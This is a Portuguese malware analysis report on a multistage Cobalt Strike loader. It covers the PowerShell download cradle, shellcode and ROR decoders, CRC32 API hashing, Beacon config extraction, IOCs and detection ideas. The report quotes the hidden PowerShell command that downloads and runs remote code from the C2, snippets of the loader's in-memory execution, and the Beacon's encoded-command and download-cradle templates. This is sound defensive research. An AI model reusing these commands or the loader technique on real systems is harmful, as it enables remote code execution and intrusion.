Post

Análise estática de um loader multiestágio do Cobalt Strike

Análise estática de um loader multiestágio do Cobalt Strike

Loader PowerShell e Cobalt Strike Beacon x86

Nota de autoria e uso de IA

A investigação, identificação dos artefatos, formulação dos achados e a interpretação técnica dos resultados foram realizadas pelo autor. Este relatório contém uso de IA apenas na estruturação, organização, revisão textual e na implementação inicial de scripts Python destinados à extração e à decodificação de dados usados pelo malware. Os scripts, seus resultados e o conteúdo técnico apresentado foram revisados e validados. Algumas explicações técnicas também foram complementadas com IA.

Contexto da análise Este sample foi coletado em 2022, não houve infecção efetiva pois o EDR instalado no computador do usuário conteve a ameaça já no primeiro comando (abaixo). Apesar disso, fui capaz de capturar as etapas posteriores desta execução e fazer a investigação dos artefatos. Dias depois da coleta, o C2 já estava fora do ar.

Alguns achados da investigação ficaram de fora deste relatório a fim de manter os pontos mais relevantes da cadeia de execução deste malware.


1. Resumo

Este relatório apresenta os resultados da análise estática de uma cadeia maliciosa iniciada por um comando PowerShell responsável por baixar e executar um segundo script diretamente em memória.

A primeira detecção ocorreu a partir da seguinte linha de comando:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://31.41.244[.]192:80/645gkdkfgd'))"

O conteúdo disponibilizado pelo endereço remoto consistia em um loader PowerShell contendo um payload codificado em Base64.

O hash é: 33a7648c64588e855b411fe9bcdb51489d4a33e4ab86705661049bb9b65ceddb

Este loader utiliza reflexão .NET para resolver APIs nativas, decodifica o Base64 por meio de CryptStringToBinaryA, grava o conteúdo em uma região de memória executável e transfere o fluxo de execução para o shellcode resultante.

A análise permitiu reconstruir a seguinte cadeia:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Comando PowerShell inicial
        ↓
Download e execução do loader PowerShell
        ↓
Base64 processado por CryptStringToBinaryA
        ↓
Shellcode x86 inicial
        ↓
Decodificação por ROR
        ↓
Stage 1 — DLL intermediária
        ↓
Resolução de APIs por CRC32
        ↓
Decodificação de payload PE embutido
        ↓
Stage 2 — Cobalt Strike Beacon
        ↓
Configuração decodificada por XOR 0x2E
        ↓
Comunicação HTTP com o C2

O estágio final foi identificado como uma DLL x86 compatível com Cobalt Strike Beacon, contendo reflective loader, configuração de comunicação HTTP, rotinas de injeção de processo, manipulação de tokens, execução PowerShell e operações com serviços.

A configuração (que foi extraída via script em Python) contém:

1
2
3
4
5
6
C2:       31.41.244.192
Porta:    80
GET:      /push
POST:     /submit.php
Sleep:    60000 ms
Jitter:   0

Não foi identificada persistência automática durante o fluxo inicial analisado. Algumas capacidades presentes no Beacon, como criação de serviços e injeção de processos, dependem de comandos posteriormente recebidos do servidor C2 e não devem ser interpretadas como comportamentos executados automaticamente.


2. Escopo e metodologia

2.1 Escopo

O relatório contempla exclusivamente análise estática:

  • inspeção do loader PowerShell;
  • extração da string Base64;
  • análise do shellcode inicial;
  • reconstrução dos algoritmos de decodificação;
  • extração dos dois estágios PE;
  • análise de headers, seções, imports e exports;
  • engenharia reversa no IDA;
  • resolução de APIs por hash;
  • extração da configuração do Beacon;
  • identificação de capacidades implementadas.

Não fazem parte deste relatório:

  • debugging com x32dbg;
  • execução controlada da amostra;
  • análise de memória em runtime;
  • análise comportamental;
  • interação com o C2;
  • validação dinâmica de tasking;
  • descriptografia completa do protocolo C2.

2.2 Ferramentas utilizadas


3. Visão geral da cadeia de infecção

A cadeia começa com o seguinte comando:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://31.41.244[.]192:80/645gkdkfgd'))"

Os elementos possuem as seguintes funções:

ElementoFunção
powershell.exeInicia o interpretador PowerShell
-nopImpede o carregamento do perfil do usuário
-w hiddenOculta a janela do PowerShell
-cExecuta o comando fornecido
Net.WebClientCria um cliente HTTP
DownloadStringBaixa o conteúdo remoto como texto
IEXExecuta o conteúdo baixado como PowerShell

O endereço remoto entrega o loader PowerShell analisado nas seções a seguir.


4. Análise do loader PowerShell

4.1 Estrutura geral

Você pode clicar nas imagens para ver mais detalhes em tela cheia.

full script.png

Figura 1 — Loader completo PowerShell contendo resolução dinâmica de APIs e payload Base64 (cortado).

Este artefato pode ser baixado no Virustotal (conta paga), ou Triage com uma conta gratuita.

O script inicia com:

1
Set-StrictMode -Version 2

Em seguida, define as funções:

1
2
func_get_proc
func_get_type

A função func_get_proc utiliza reflexão .NET para acessar métodos internos relacionados a:

1
2
GetModuleHandle
GetProcAddress

Isso permite resolver funções nativas sem declarar explicitamente estruturas tradicionais de P/Invoke (Platform Invoke).

A função func_get_type cria dinamicamente um delegate com System.Reflection.Emit. Esse delegate é utilizado para chamar funções nativas a partir dos endereços obtidos por GetProcAddress.

O mecanismo permite que o script:

  1. localize uma DLL já carregada;
  2. resolva uma API pelo nome;
  3. construa a assinatura da função;
  4. converta o endereço em um delegate;
  5. invoque a API diretamente pelo PowerShell.

4.2 Processamento da string Base64

O shellcode encontra-se armazenado na variável:

1
$var_base64 = '...'

O script carrega:

1
crypt32.dll

e resolve a função:

1
CryptStringToBinaryA

A flag utilizada é:

1
0x1 = CRYPT_STRING_BASE64

O processamento ocorre em duas chamadas.

Primeira chamada

1
2
3
4
5
6
7
8
9
10
11
$var_length = 0

$var_result = $var_string_to_binary.Invoke(
    $var_base64,
    $var_base64.Length,
    0x1,
    [IntPtr]::Zero,
    [Ref]$var_length,
    [IntPtr]::Zero,
    [IntPtr]::Zero
)

Como o ponteiro destinado a receber os bytes está definido como nulo, a primeira chamada apenas calcula o tamanho necessário para armazenar o conteúdo Base64 decodificado.

Criação da região de memória

O script resolve:

1
2
CreateFileMappingA
MapViewOfFile

e cria uma região mapeada com permissão de leitura, escrita e execução.

O valor utilizado em CreateFileMappingA é 0x08000040, cujo valor inclui:

1
2
PAGE_EXECUTE_READWRITE
SEC_COMMIT

Em seguida, MapViewOfFile retorna o endereço virtual onde o shellcode será gravado.

Segunda chamada

1
2
3
4
5
6
7
8
9
$var_result = $var_string_to_binary.Invoke(
    $var_base64,
    $var_base64.Length,
    0x1,
    $var_map,
    [Ref]$var_length,
    [IntPtr]::Zero,
    [IntPtr]::Zero
)

Dessa vez, o endereço da região mapeada (chamada de $var_map) é fornecido como saída, fazendo com que CryptStringToBinaryA grave diretamente os bytes decodificados.

Transferência da execução

O endereço da memória é convertido em delegate:

1
2
3
4
5
$var_invoke =
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        $var_map,
        (func_get_type @([IntPtr]) ([Void]))
    )

O shellcode é executado com:

1
$var_invoke.Invoke($var_map)

O endereço-base do shellcode é também fornecido como argumento para o próprio código.

7c119fad4d969631b2398403db078882.png

Figura 2 — Primeira chamada para obtenção do tamanho e segunda chamada para gravação dos bytes decodificados.

4.3 Seleção de arquitetura

O script verifica:

1
[IntPtr]::Size

Quando executado em um processo de 32 bits, o conteúdo é executado diretamente.

Em processos de 64 bits, o script utiliza:

1
Start-Job -RunAs32

Isso indica que o payload foi criado para arquitetura x86.


5. Extração do shellcode Base64

O script abaixo localiza automaticamente a variável $var_base64 e grava o conteúdo decodificado em stage0_shellcode.bin.

Script 1 — Extração do Base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64
import re
from pathlib import Path

INPUT_PS1 = Path("loader.ps1")
OUTPUT_BIN = Path("stage0_shellcode.bin")

text = INPUT_PS1.read_text(
    encoding="utf-8",
    errors="ignore"
)

match = re.search(
    r"\$var_base64\s*=\s*'([^']+)'",
    text,
    flags=re.DOTALL,
)

if not match:
    raise RuntimeError(
        "A variável $var_base64 não foi encontrada."
    )

base64_text = re.sub(
    r"\s+",
    "",
    match.group(1)
)

decoded = base64.b64decode(
    base64_text,
    validate=True
)

OUTPUT_BIN.write_bytes(decoded)

# print("[+] B64 completo: ", base64_text) # Cuidado, string muito grande!

print(f"[+] Arquivo decodificado salvo: {OUTPUT_BIN}")
print(f"[+] Tamanho: {len(decoded)} bytes")
print(f"[+] Primeiros bytes: {decoded[:16].hex(' ')}")

O resultado não inicia com a assinatura 4D 5A, indicando que o conteúdo inicial é shellcode bruto, e não um PE diretamente carregável.

b71734e2f72461f487b7a227d51d6f08.png

Figura 3 — Primeiros bytes do shellcode após a remoção da camada Base64.

6. Shellcode inicial e extração do Stage 1

6.1 Decoder inicial

O shellcode começa recuperando seu próprio endereço-base:

1
mov eax, [esp+4]

Em seguida, acessa endereços internos relativos à base:

1
2
3
mov ecx, [eax+9Ch]
mov edx, [eax+0A0h]
lea esi, [eax+0A4h]

A interpretação desses campos é:

OffsetFunção
0x9CEndereço da chave
0xA0Endereço onde possui o tamanho da região codificada
0xA4Endereço do início do conteúdo codificado

O loop de decodificação é:

1
2
3
4
5
6
7
lodsb
and ecx, 7
ror al, cl
inc ecx
stosb
dec edx
jnz decoder_loop

O comportamento pode ser representado como:

1
2
3
4
5
6
7
8
9
10
base = argument;

key  = *(uint32_t *)(base + 0x9C);
size = *(uint32_t *)(base + 0xA0);
data = base + 0xA4;

for (i = 0; i < size; i++) {
    data[i] = ror8(data[i], key & 7);
    key++;
}

Ou seja, o código percorre cada byte dos dados e o gira para a direita. A quantidade do giro é obtida por key & 7, que simplesmente limita o valor da chave a um número entre 0 e 7. Depois, a chave aumenta em 1 a cada byte.

A operação é realizada no próprio binário. Após o loop, a região em base + 0xA4 passa a iniciar com um cabeçalho PE válido.

8f716c464f5e819fb732b809a2ff5bbd.png

Figura 4 — Disassembly do início do shellcode, contendo o algorítimo ROR

84c9d50b169d5b210c43f05e4100ad56.png

Figura 5 — Região onde o stage 1 será decodificado.

Script 2 — Decodificação do Stage 1

O script abaixo faz exatamente o que o shellcode faz, fornece os offsets e em seguida, faz as rotações. Ao fim, salva o arquivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pathlib import Path
import struct

INPUT_FILE = Path("stage0_shellcode.bin")
OUTPUT_FILE = Path("stage1_decoded.bin")

KEY_OFFSET = 0x9C
SIZE_OFFSET = 0xA0
DATA_OFFSET = 0xA4


def ror8(value: int, count: int) -> int:
    value &= 0xFF
    count &= 7

    if count == 0:
        return value

    return (
        (value >> count) |
        (value << (8 - count))
    ) & 0xFF


data = INPUT_FILE.read_bytes()

key = struct.unpack_from(
    "<I",
    data,
    KEY_OFFSET
)[0]

size = struct.unpack_from(
    "<I",
    data,
    SIZE_OFFSET
)[0]

if DATA_OFFSET + size > len(data):
    raise RuntimeError(
        "A região codificada ultrapassa o fim do arquivo."
    )

decoded = bytearray(size)
current_key = key

for i in range(size):
    decoded[i] = ror8(
        data[DATA_OFFSET + i],
        current_key & 7
    )

    current_key = (
        current_key + 1
    ) & 0xFFFFFFFF

if decoded[:2] != b"MZ":
    raise RuntimeError(
        "O resultado não possui assinatura MZ."
    )

OUTPUT_FILE.write_bytes(decoded)

print(f"[+] Chave inicial: 0x{key:08X}")
print(f"[+] Tamanho: 0x{size:X}")
print(f"[+] Arquivo salvo: {OUTPUT_FILE}")

7. Análise do Stage 1

7.1 Identificação

CampoValor 
Arquivostage1_decoded.bin 
SHA-256a41dde7d2733cf4f8c057a188fb5bce82f085b7972aeaa23b5ddb0ef71c1988d 
TipoPE32 DLL x86 
Nome internoa32big.dll 
ImageBase0x6B680000 
Entry Point RVA0x13B0 
Seções9 
Tamanho337920 bytes 

Os timestamps encontrados no cabeçalho PE devem ser tratados com baixa confiança, pois podem ter sido alterados durante a compilação ou posteriormente.

5d5a7faf7b90c0589f407f546f3b81eb.png

Figura 6 — Identificação do formato, arquitetura e compilador do Stage 1.

0078b8528799bd019248805440c5979d.png

Figura 7 — Estrutura PE e distribuição das seções do Stage 1.

7.2 Exports

Os exports identificados incluem:

1
2
3
4
5
6
ARef
DllGetClassObject
DllMain
DllRegisterServer
DllUnregisterServer
Start

Os nomes relacionados a COM podem dificultar a identificação imediata da finalidade real da DLL.


8. Resolução dinâmica de APIs por hash

8.1 Objetivo da técnica

O Stage 1 evita armazenar diretamente os nomes de diversas APIs utilizadas.

Em vez de importar todas as funções normalmente, o código:

  1. carrega uma DLL com LoadLibraryW;
  2. localiza sua Export Directory;
  3. percorre os nomes exportados;
  4. calcula um hash para cada nome;
  5. compara o resultado com constantes presentes no binário;
  6. chama GetProcAddress quando encontra uma correspondência;
  7. armazena o endereço resolvido para uso posterior.

Essa técnica reduz a quantidade de informações disponíveis na Import Table e dificulta a identificação automática das capacidades da amostra.


8.2 Algoritmo identificado

A função resolvedora utiliza um CRC32 refletido com:

1
2
3
4
Polinômio:  0xEDB88320
Seed:       0xFFFFFFFF
Final XOR:  não observado
Entrada:    nome ASCII da função exportada

O pseudocódigo é:

1
2
3
4
5
6
7
8
9
10
11
12
crc = 0xFFFFFFFF;

for each byte in export_name {
    crc ^= byte;

    for (i = 0; i < 8; i++) {
        if (crc & 1)
            crc = (crc >> 1) ^ 0xEDB88320;
        else
            crc >>= 1;
    }
}

Este polinômio também é constado num exemplo do Wikipedia.

A comparação com o valor hardcoded é direta:

1
if (target_hash == calculated_crc)

Quando ocorre uma correspondência, o código chama GetProcAddress utilizando o nome da export localizada.

50016c83fbf6730185f72d351fca417a.png

Figura 8 — Implementação do algoritmo CRC32 utilizado na resolução de APIs.

21d6a688edee8ce8bf84020e78b7cbcd.png

Figura 9 — Lista de chamadas para a função resolvedora dos hashes.

8.3 DLLs processadas

Foram identificados blocos de resolução para:

1
2
3
4
kernel32.dll
advapi32.dll
ws2_32.dll
wininet.dll

No IDA, alguns nomes wide-char foram inicialmente separados incorretamente. Por exemplo L"a" L"dvapi32.dll" representavam, em conjunto L"advapi32.dll"

A correção da definição como string UTF-16LE permitiu recuperar o nome completo.


8.4 Reprodução do algoritmo em Python

O seguinte código reproduz o algoritmo do malware:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def malware_crc32_name(name: bytes) -> int:
    crc = 0xFFFFFFFF

    for byte in name:
        crc ^= byte

        for _ in range(8):
            if crc & 1:
                crc = (
                    (crc >> 1) ^ 0xEDB88320
                )
            else:
                crc >>= 1

            crc &= 0xFFFFFFFF

    return crc

A função abaixo percorre as exports de uma DLL e procura correspondências:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pefile
from pathlib import Path


def find_export_by_hash(
    dll_path: Path,
    target_hash: int
):
    pe = pefile.PE(str(dll_path))
    matches = []

    for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if not export.name:
            continue

        calculated = malware_crc32_name(
            export.name
        )

        if calculated == target_hash:
            matches.append(
                export.name.decode(
                    "ascii",
                    errors="replace"
                )
            )

    return matches

Exemplo de uso:

1
2
3
4
5
6
7
8
9
for target_hash in kernel32_hashes:
    matches = find_export_by_hash(
        kernel32_path,
        target_hash
    )

    print(
        f"0x{target_hash:08X} -> {matches}"
    )

c0737e2729871028e02fff80ffdd3c78.png

Figura 10 — Reprodução do algoritmo e associação entre hashes e nomes de APIs (JupyterLab).

8.5 APIs relevantes por finalidade

A relação completa de hashes pode conter dezenas de entradas. Para preservar a legibilidade, o corpo principal do relatório apresenta somente grupos relevantes.

DLLExemplos de APIs resolvidasFinalidade
kernel32.dllCreateFileA/W, CreateFileMappingA/W, MapViewOfFile, CreateNamedPipe, ConnectNamedPipe, CloseHandle, OpenProcess, VirtualAlloc, VirtualProtect, CreateThreadArquivos, memória, processos, threads e named pipes
ws2_32.dllWSAStartup, socket, connect, send, recv, closesocketComunicação por sockets
wininet.dllInternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile, InternetCloseHandleComunicação HTTP com o C2
advapi32.dllOpenSCManagerA/W, CreateServiceA/W, StartServiceA/W, DeleteService, CloseServiceHandleOperações com serviços

Uma API resolvida não representa necessariamente uma API executada.

EvidênciaConclusão permitida
Hash resolvidoAPI disponível ao código
XREF para o ponteiroAPI referenciada por uma rotina
Call site identificadoCapacidade implementada
Argumentos compreendidosFinalidade provável ou confirmada
Execução observadaComportamento efetivamente realizado

O mapeamento completo hash → API pode ser consultado no Apêndice D.


9. Controle de processos e anti-analysis

Foi identificada uma rotina que enumera os processos em execução e recupera informações sobre o processo pai do processo hospedeiro.

A função auxiliar utiliza CreateToolhelp32Snapshot, Process32FirstW e Process32NextW para localizar a estrutura PROCESSENTRY32W correspondente a um PID fornecido. No fluxo chamador, o campo th32ParentProcessID da entrada do processo atual é utilizado para recuperar a entrada do processo pai.

A rotina:

  • obtém a entrada correspondente ao processo atual;
  • extrai seu th32ParentProcessID;
  • localiza o processo pai no snapshot;
  • verifica se o nome do pai contém powershell.exe;
  • consulta também o processo pai dessa entrada, isto é, uma geração adicional da linhagem;
  • verifica se esse ancestral contém powershell.exe;
  • abre os processos selecionados com a máscara de acesso 0x401;
  • chama TerminateProcess quando OpenProcess retorna um handle válido;
  • ao final, tenta encerrar o processo pai imediato independentemente da correspondência com powershell.exe.

O acesso solicitado em OpenProcess inclui PROCESS_TERMINATE e PROCESS_QUERY_INFORMATION (0x401)

A rotina pode remover o launcher original e interferir em ferramentas que tenham iniciado o PowerShell como processo-filho.

A classificação mais adequada aqui pode ser “Limpeza ou evasão da árvore de processos com efeito anti-debug”

Não foram observadas comparações explícitas com nomes como:

1
2
3
x32dbg.exe
ollydbg.exe
windbg.exe

851c3af58fdaa819570f8e817f5cba8d.png

Figura 11 — Uso de Toolhelp para localizar o processo pai.

f549f4b89ca7a7a8c0587bc62f49e83a.png

Figura 12 — Rotina responsável por encerrar processos ancestrais.

10. Extração do Stage 2

A seção .data do Stage 1 chama atenção pois é muito grande, levantando uma suspeita de que haja mais dados a serem decodificados ali. 424a05e40b22bb59439bb939d853bb91.png

Figura 13 - Tamanho da seção .data do Stage 1

E ao investigar o início dessa seção, foi possível identificar alguns bytes interessantes: da27f22a433f4bbebf3d839fb2983e98.png

Figura 14 - Bytes iniciais de .data

Os itens marcados mostram bytes referente a “tamanho” (similiarmente ao buscado no shellcode no início da cadeia) e um amontado grande de bytes em seguida.

CampoValor
VA codificado0x6B68F054
RVA0xF054
Tamanho0x33800

Ao buscar referências de onde esse array é usado, foi possível verificar uma função extratora. ce242b5d01762f9c1b79ebc4ecd2d593.png

Figura 15 - Função extratora do Stage 2

O algoritmo utilizado para recuperar o Stage 2 é conceitualmente semelhante ao observado na decodificação do Stage 1. Com a diferença que esse extrator não usa chave, a contagem inicial é fixada em 1

O código:

  1. aloca uma região de memória;
  2. percorre 0x33800 bytes;
  3. aplica ROR com contagem variável;
  4. grava o resultado;
  5. transfere execução para o conteúdo decodificado.

Script 3 — Extração do Stage 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pathlib import Path

import pefile

INPUT_FILE = Path("stage1_decoded.bin")
OUTPUT_FILE = Path("stage2_decoded.bin")

ENCODED_VA = 0x6B68F054
ENCODED_SIZE = 0x33800
INITIAL_COUNT = 1


def ror8(value: int, count: int) -> int:
    value &= 0xFF
    count &= 7

    if count == 0:
        return value

    return (
        (value >> count) |
        (value << (8 - count))
    ) & 0xFF


data = INPUT_FILE.read_bytes()
pe = pefile.PE(str(INPUT_FILE))

rva = (
    ENCODED_VA -
    pe.OPTIONAL_HEADER.ImageBase
)

file_offset = pe.get_offset_from_rva(rva)

if file_offset + ENCODED_SIZE > len(data):
    raise RuntimeError(
        "A região codificada ultrapassa o fim do arquivo."
    )

decoded = bytes(
    ror8(
        data[file_offset + i],
        (INITIAL_COUNT + i) & 7
    )
    for i in range(ENCODED_SIZE)
)

if decoded[:2] != b"MZ":
    raise RuntimeError(
        "O resultado não possui assinatura MZ."
    )

OUTPUT_FILE.write_bytes(decoded)

print(f"[+] RVA: 0x{rva:X}")
print(f"[+] File offset: 0x{file_offset:X}")
print(f"[+] Tamanho: 0x{len(decoded):X}")
print(f"[+] Arquivo salvo: {OUTPUT_FILE}")

Para consolidar a análise até aqui, o Stage 1:

1) É uma DLL identificada internamente como a32big.dll.

2) Atua como loader para o estágio seguinte.

3) Contém rotinas de resolução dinâmica de APIs.

4) Decodifica o Stage 2 com ROR.


11. Análise do Stage 2

11.1 Identificação

CampoValor 
Arquivostage2_decoded.bin 
SHA-2566318e322c478adefa9b4a16166c3d05201153b5cbd1f2e21327300abdeb5a757 
TipoPE32 DLL x86 
Nome internobeacon.dll 
Export_ReflectiveLoader@4 
ImageBase0x10000000 
Entry Point RVA0x1627A 
Seções4 
Tamanho210944 bytes 

A presença de:

1
2
beacon.dll
_ReflectiveLoader@4

combinada com a estrutura da configuração e as capacidades identificadas é compatível com um Cobalt Strike Beacon x86.

fad32249832fc21120271f0cff6967c4.png

Figura 16 — Identificação do Stage 2 como DLL x86 no DiE.

b6aaea5b138fd42d2ed0cc1880a9e4b5.png

Figura 17 — Export _ReflectiveLoader@4 e estrutura PE do Beacon.

12. Decodificação da configuração do Beacon/C2

Foi identificado uma função que realiza operação XOR em array de 4096 bytes em:

1
2
VA:  0x10032020
RVA: 0x32020

6706352e5972d228b64cb9847ad7b87b.png

Figura 18 — Bloco de configuração codificado na seção de dados.

A primeira rotina que utiliza o array executa:

1
2
for (i = 0; i < 4096; i++)
    array[i] ^= 0x2E;

Portanto, se faz necessário mais um script python para fazer a mesma decodificação que o malware faz.


Script 4 — Extração da configuração

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import re
from pathlib import Path

import pefile

INPUT_FILE = Path("stage2_decoded.bin")
OUTPUT_FILE = Path("config_decoded.bin")

CONFIG_VA = 0x10032020
CONFIG_SIZE = 0x1000
XOR_KEY = 0x2E

# Quantidade mínima de caracteres para considerar uma sequência como string.
MIN_STRING_LENGTH = 3


def extract_ascii_strings(
    data: bytes,
    minimum_length: int = 3,
) -> list[str]:
    pattern = rb"[\x20-\x7E]{%d,}" % minimum_length

    return [
        match.decode("ascii")
        for match in re.findall(pattern, data)
    ]


data = INPUT_FILE.read_bytes()
pe = pefile.PE(str(INPUT_FILE))

rva = (
    CONFIG_VA -
    pe.OPTIONAL_HEADER.ImageBase
)

file_offset = pe.get_offset_from_rva(rva)

if file_offset + CONFIG_SIZE > len(data):
    raise RuntimeError(
        "A configuração ultrapassa o fim do arquivo."
    )

encoded = data[
    file_offset:
    file_offset + CONFIG_SIZE
]

decoded = bytes(
    byte ^ XOR_KEY
    for byte in encoded
)

OUTPUT_FILE.write_bytes(decoded)

print(f"[+] Config RVA: 0x{rva:X}")
print(f"[+] File offset: 0x{file_offset:X}")
print(f"[+] Arquivo salvo: {OUTPUT_FILE}")

ascii_strings = extract_ascii_strings(
    decoded,
    MIN_STRING_LENGTH,
)

print("\n[+] Strings ASCII encontradas:")

if ascii_strings:
    for string in ascii_strings:
        print(f"    {string}")
else:
    print("    Nenhuma string ASCII encontrada.")

O resultado é uma estrutura binária e não uma única string. Por isso, foi encontrado:

  • bytes nulos;
  • IDs de campos;
  • tipos;
  • tamanhos;
  • inteiros;
  • strings;
  • buffers binários.

Por legibilidade, foi optado filtrar o resultado por strings de tamanho mínimo 3:

5cf4492f05baf0cea095f472a08ebf03.png

Figura 19 — Strings e parâmetros visíveis após o XOR 0x2E (filtrada com strings de tamanho mínimo 3).

13. Configuração extraída

Com o intuito de entender ainda mais sobre a configuração do beacon, foi usado o projeto CobaltStrikeParser, que tenta ir além das strings legíveis. Ao passar o config_decoded.bin como argumento, o script trouxe mais alguns detalhes (lista filtrada):

CampoValor
ProtocoloHTTP
C231.41.244.192
Porta80
Sleep60000 ms
Jitter0
URI GET/push
URI POST/submit.php
Verbo GETGET
Verbo POSTPOST
User-AgentMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
Header de metadataCookie
Content-Typeapplication/octet-stream
Spawn-to x86%windir%\syswow64\rundll32.exe
Spawn-to x64%windir%\sysnative\rundll32.exe
Watermark1580103824
ProcInject_ExecuteCreateThread, SetThreadContext, CreateRemoteThread, RtlCreateUserThread
ProcInject_AllocationMethodVirtualAllocEx

14. Comunicação C2

O Stage 2 utiliza APIs da WININET.dll compatíveis com:

1
2
3
4
5
6
7
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
InternetQueryDataAvailable
InternetReadFile
InternetCloseHandle

O fluxo pode ser resumido como:

1
2
3
4
5
6
7
InternetOpenA(User-Agent)
        ↓
InternetConnectA(31.41.244.192, 80)
        ↓
HttpOpenRequestA(GET, /push)
        ↓
Recebimento de tarefas

O envio de dados utiliza:

1
2
3
4
5
HttpOpenRequestA(POST, /submit.php)
        ↓
Content-Type: application/octet-stream
        ↓
HttpSendRequestA

A configuração também indica que a metadata é:

  1. processada pelo Beacon;
  2. codificada em Base64;
  3. inserida no header Cookie.

As conclusões desta seção são derivadas da configuração decodificada e do fluxo estático das rotinas WinINet.

5be34d5a635abc3755b5842080a2ebb6.png

Figura 20 — Inicialização da sessão HTTP com valores obtidos da configuração.

dbd8403882f76d8e4557e7193298aec7.png

Figura 21 — Construção das requisições HTTP do Beacon.

15. Capacidades do Stage 2

15.1 Injeção de processos

Foram identificadas APIs como:

1
2
3
4
5
6
7
8
9
10
VirtualAllocEx
WriteProcessMemory
VirtualProtectEx
CreateRemoteThread
GetThreadContext
SetThreadContext
ResumeThread
RtlCreateUserThread
NtQueueApcThread
NtMapViewOfSection

Essas funções demonstram suporte a múltiplas técnicas de injeção e execução em processos.

A presença das rotinas não identifica, por análise estática, qual processo seria escolhido como alvo.


15.2 Manipulação de tokens

Foram identificadas referências a:

1
2
3
4
5
6
7
8
9
10
OpenProcessToken
OpenThreadToken
AdjustTokenPrivileges
DuplicateTokenEx
LogonUserA
ImpersonateNamedPipeClient
ImpersonateLoggedOnUser
CreateProcessWithTokenW
CreateProcessWithLogonW
CreateProcessAsUserA

Também existem referências a:

1
2
3
SeDebugPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege

As funcionalidades permitem:

  • habilitação de privilégios;
  • duplicação de tokens;
  • impersonação;
  • execução com credenciais alternativas.

15.3 Serviços

O Beacon contém rotinas para:

1
2
3
4
5
6
OpenSCManager
CreateService
StartService
QueryServiceStatus
DeleteService
CloseServiceHandle

Essas capacidades são compatíveis com:

  • execução remota;
  • movimentação lateral;
  • criação temporária de serviço;
  • execução de payload por serviço.

A análise não confirmou que o fluxo inicial cria um serviço persistente.


15.4 Execução PowerShell e strings

No Stage 2, foram identificados templates como powershell -nop -exec bypass -EncodedCommand "%s" e IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')

Essas strings demonstram suporte à execução PowerShell após o recebimento de tarefas.

Também foram encontradas algumas APIs relacionadas a privilégio: e387266b9fbb7cbe1901475410c2b5f3.png

Figura 22 - Strings relacionadas às APIs de privilégio

15.5 SHA-256

O Stage 2 contém uma implementação completa do algoritmo SHA-256:

  • constantes padrão;
  • inicialização do contexto;
  • processamento de blocos;
  • finalização;
  • vetores de teste conhecidos.

A presença da implementação não comprova, isoladamente, que ela seja responsável pela criptografia do canal C2 ou pela decodificação da configuração.


16. Persistência

Não foram encontrados indicadores estáticos fortes de persistência automática por Run / RunOnce, Scheduled Tasks, WMI, Startup Folder, COM Hijacking, DLL Search Order Hijacking

As funcionalidades de serviços podem ser acionadas por tasking, mas sua presença no binário não demonstra que um serviço seja criado durante a infecção inicial.

Conclusão:

Persistência automática não confirmada no escopo da análise.


17. Técnicas anti-analysis

TécnicaEvidênciaAvaliação
Payload Base64String no PowerShellConfirmada
Execução em memóriaFile mapping e delegateConfirmada
Decoder ROR do Stage 1Loop no shellcodeConfirmada
Decoder ROR do Stage 2Loop na DLL intermediáriaConfirmada
API hashingCRC32 sobre exportsConfirmada
Configuração ofuscadaXOR 0x2EConfirmada
Reflective loading_ReflectiveLoader@4Confirmada
Encerramento do processo paiToolhelp, OpenProcess e TerminateProcessConfirmada

APIs como IsDebuggerPresent, DebugBreak, RaiseException, SetUnhandledExceptionFilter aparecem no Stage 2, mas seus usos são compatíveis com componentes do runtime MSVC. Elas não devem ser classificadas automaticamente como anti-debugging customizado.


18. Indicadores de comprometimento

18.1 Infraestrutura

TipoValor
IP31.41.244.192
Porta80
URL inicialhxxp://31.41.244[.]192:80/645gkdkfgd
GET URI/push
POST URI/submit.php

18.2 User-Agent

1
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

18.3 Artefatos

ArtefatoHash
Stage 1 SHA-256a41dde7d2733cf4f8c057a188fb5bce82f085b7972aeaa23b5ddb0ef71c1988d
Stage 2 SHA-2566318e322c478adefa9b4a16166c3d05201153b5cbd1f2e21327300abdeb5a757

18.4 Outros indicadores

1
2
3
4
5
6
9K8J7HG65F467j
a32big.dll
beacon.dll
_ReflectiveLoader@4
%windir%\syswow64\rundll32.exe
%windir%\sysnative\rundll32.exe

19. Oportunidades de detecção

19.1 PowerShell

Monitorar linhas de comando contendo combinações como:

1
2
3
4
5
6
powershell.exe
-nop
-w hidden
IEX
Net.WebClient
DownloadString

19.2 Memória

Monitorar processos PowerShell que:

  • resolvem CryptStringToBinaryA;
  • criam file mappings executáveis;
  • mapeiam regiões com escrita e execução;
  • convertem ponteiros em delegates;
  • transferem execução para memória privada.

19.3 Rede

